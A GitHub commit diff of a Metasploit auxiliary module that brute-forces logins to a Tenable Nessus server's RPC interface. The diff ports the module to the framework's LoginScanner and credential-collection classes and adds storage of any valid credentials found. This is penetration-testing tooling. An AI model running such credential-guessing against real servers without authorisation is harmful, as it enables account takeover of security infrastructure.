|
1 |
| -## |
2 |
| -# nessus_xmlrpc_login.rb |
3 |
| -## |
4 |
| - |
5 | 1 | ##
|
6 | 2 | # This module requires Metasploit: http://metasploit.com/download
|
7 | 3 | # Current source: https://github.com/rapid7/metasploit-framework
|
8 | 4 | ##
|
9 | 5 |
|
10 | 6 | require 'msf/core'
|
| 7 | +require 'metasploit/framework/login_scanner/nessus' |
| 8 | +require 'metasploit/framework/credential_collection' |
11 | 9 |
|
12 | 10 | class Metasploit3 < Msf::Auxiliary
|
13 | 11 |
|
14 | 12 | include Msf::Exploit::Remote::HttpClient
|
15 |
| - include Msf::Auxiliary::Report |
16 | 13 | include Msf::Auxiliary::AuthBrute
|
| 14 | + include Msf::Auxiliary::Report |
17 | 15 | include Msf::Auxiliary::Scanner
|
18 | 16 |
|
19 |
| - def initialize |
20 |
| - super( |
21 |
| - 'Name' => 'Nessus XMLRPC Interface Login Utility', |
| 17 | + def initialize(info={}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Nessus RPC Interface Login Utility', |
22 | 20 | 'Description' => %q{
|
23 |
| - This module simply attempts to login to a Nessus XMLRPC interface using a |
24 |
| - specific user/pass. |
| 21 | + This module will attempt to authenticate to a Nessus server RPC interface. |
25 | 22 | },
|
26 |
| - 'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ], |
| 23 | + 'Author' => [ 'void_in' ], |
27 | 24 | 'License' => MSF_LICENSE
|
28 |
| - ) |
29 |
| - |
| 25 | + )) |
30 | 26 | register_options(
|
31 | 27 | [
|
32 | 28 | Opt::RPORT(8834),
|
33 |
| - OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]), |
34 |
| - OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) |
| 29 | + OptString.new('TARGETURI', [ true, 'The path to the Nessus server login API', '/session']), |
| 30 | + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), |
| 31 | + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) |
35 | 32 | ], self.class)
|
36 |
| - |
37 |
| - register_advanced_options( |
38 |
| - [ |
39 |
| - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) |
40 |
| - ], self.class) |
41 | 33 | end
|
42 | 34 |
|
43 |
| - def run_host(ip) |
44 |
| - begin |
45 |
| - res = send_request_cgi({ |
46 |
| - 'uri' => datastore['URI'], |
47 |
| - 'method' => 'GET' |
48 |
| - }, 25) |
49 |
| - http_fingerprint({ :response => res }) |
50 |
| - rescue ::Rex::ConnectionError => e |
51 |
| - vprint_error("#{datastore['URI']} - #{e}") |
52 |
| - return |
53 |
| - end |
54 | 35 |
|
55 |
| - if not res |
56 |
| - vprint_error("#{datastore['URI']} - No response") |
57 |
| - return |
58 |
| - end |
59 |
| - if res.code != 403 |
60 |
| - vprint_error("Authorization not requested") |
61 |
| - return |
62 |
| - end |
| 36 | + # Initializes CredentialCollection and Nessus Scanner |
| 37 | + def init(ip) |
| 38 | + @cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 39 | + blank_passwords: datastore['BLANK_PASSWORDS'], |
| 40 | + pass_file: datastore['PASS_FILE'], |
| 41 | + password: datastore['PASSWORD'], |
| 42 | + user_file: datastore['USER_FILE'], |
| 43 | + userpass_file: datastore['USERPASS_FILE'], |
| 44 | + username: datastore['USERNAME'], |
| 45 | + user_as_pass: datastore['USER_AS_PASS'] |
| 46 | + ) |
63 | 47 |
|
64 |
| - each_user_pass do |user, pass| |
65 |
| - do_login(user, pass) |
66 |
| - end |
| 48 | + @scanner = Metasploit::Framework::LoginScanner::Nessus.new( |
| 49 | + host: ip, |
| 50 | + port: datastore['RPORT'], |
| 51 | + uri: datastore['TARGETURI'], |
| 52 | + cred_details: @cred_collection, |
| 53 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 54 | + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], |
| 55 | + connection_timeout: 5 |
| 56 | + ) |
| 57 | + @scanner.ssl = datastore['SSL'] |
| 58 | + @scanner.ssl_version = datastore['SSLVERSION'] |
67 | 59 | end
|
68 | 60 |
|
69 |
| - def do_login(user='nessus', pass='nessus') |
70 |
| - vprint_status("Trying username:'#{user}' with password:'#{pass}'") |
71 |
| - headers = {} |
72 |
| - |
73 |
| - begin |
74 |
| - res = send_request_cgi({ |
75 |
| - 'encode' => true, |
76 |
| - 'uri' => datastore['URI'], |
77 |
| - 'method' => 'POST', |
78 |
| - 'headers' => headers, |
79 |
| - 'vars_post' => { |
80 |
| - 'login' => user, |
81 |
| - 'password' => pass |
82 |
| - } |
83 |
| - }, 25) |
84 |
| - |
85 |
| - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
86 |
| - print_error("HTTP Connection Failed, Aborting") |
87 |
| - return :abort |
88 |
| - end |
89 | 61 |
|
90 |
| - if not res |
91 |
| - print_error("Connection timed out, Aborting") |
92 |
| - return :abort |
93 |
| - end |
| 62 | + # Reports a good login credential |
| 63 | + def do_report(ip, port, result) |
| 64 | + service_data = { |
| 65 | + address: ip, |
| 66 | + port: port, |
| 67 | + service_name: 'http', |
| 68 | + protocol: 'tcp', |
| 69 | + workspace_id: myworkspace_id |
| 70 | + } |
| 71 | + |
| 72 | + credential_data = { |
| 73 | + module_fullname: self.fullname, |
| 74 | + origin_type: :service, |
| 75 | + private_data: result.credential.private, |
| 76 | + private_type: :password, |
| 77 | + username: result.credential.public, |
| 78 | + }.merge(service_data) |
| 79 | + |
| 80 | + login_data = { |
| 81 | + core: create_credential(credential_data), |
| 82 | + last_attempted_at: DateTime.now, |
| 83 | + status: result.status, |
| 84 | + proof: result.proof |
| 85 | + }.merge(service_data) |
| 86 | + |
| 87 | + create_credential_login(login_data) |
| 88 | + end |
94 | 89 |
|
95 |
| - if res.code != 200 |
96 |
| - vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
97 |
| - return :skip_pass |
98 |
| - end |
99 | 90 |
|
100 |
| - if res.code == 200 |
101 |
| - if res.body =~ /<status>OK<\/status>/ |
102 |
| - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") |
103 |
| - |
104 |
| - report_hash = { |
105 |
| - :host => datastore['RHOST'], |
106 |
| - :port => datastore['RPORT'], |
107 |
| - :sname => 'nessus-xmlrpc', |
108 |
| - :user => user, |
109 |
| - :pass => pass, |
110 |
| - :active => true, |
111 |
| - :type => 'password'} |
112 |
| - |
113 |
| - report_auth_info(report_hash) |
114 |
| - return :next_user |
| 91 | + # Attempts to login |
| 92 | + def bruteforce(ip) |
| 93 | + @scanner.scan! do |result| |
| 94 | + case result.status |
| 95 | + when Metasploit::Model::Login::Status::SUCCESSFUL |
| 96 | + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" |
| 97 | + do_report(ip, rport, result) |
| 98 | + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT |
| 99 | + vprint_brute :level => :verror, :ip => ip, :msg => result.proof |
| 100 | + invalidate_login( |
| 101 | + address: ip, |
| 102 | + port: rport, |
| 103 | + protocol: 'tcp', |
| 104 | + public: result.credential.public, |
| 105 | + private: result.credential.private, |
| 106 | + realm_key: result.credential.realm_key, |
| 107 | + realm_value: result.credential.realm, |
| 108 | + status: result.status, |
| 109 | + proof: result.proof |
| 110 | + ) |
| 111 | + when Metasploit::Model::Login::Status::INCORRECT |
| 112 | + vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" |
| 113 | + invalidate_login( |
| 114 | + address: ip, |
| 115 | + port: rport, |
| 116 | + protocol: 'tcp', |
| 117 | + public: result.credential.public, |
| 118 | + private: result.credential.private, |
| 119 | + realm_key: result.credential.realm_key, |
| 120 | + realm_value: result.credential.realm, |
| 121 | + status: result.status, |
| 122 | + proof: result.proof |
| 123 | + ) |
115 | 124 | end
|
116 | 125 | end
|
117 |
| - vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
118 |
| - return :skip_pass |
119 | 126 | end
|
| 127 | + |
| 128 | + |
| 129 | + # Start here |
| 130 | + def run_host(ip) |
| 131 | + init(ip) |
| 132 | + unless @scanner.check_setup |
| 133 | + print_brute :level => :error, :ip => ip, :msg => 'Target is not a Tenable Nessus server' |
| 134 | + return |
| 135 | + end |
| 136 | + |
| 137 | + bruteforce(ip) |
| 138 | + end |
| 139 | + |
120 | 140 | end
|
0 commit comments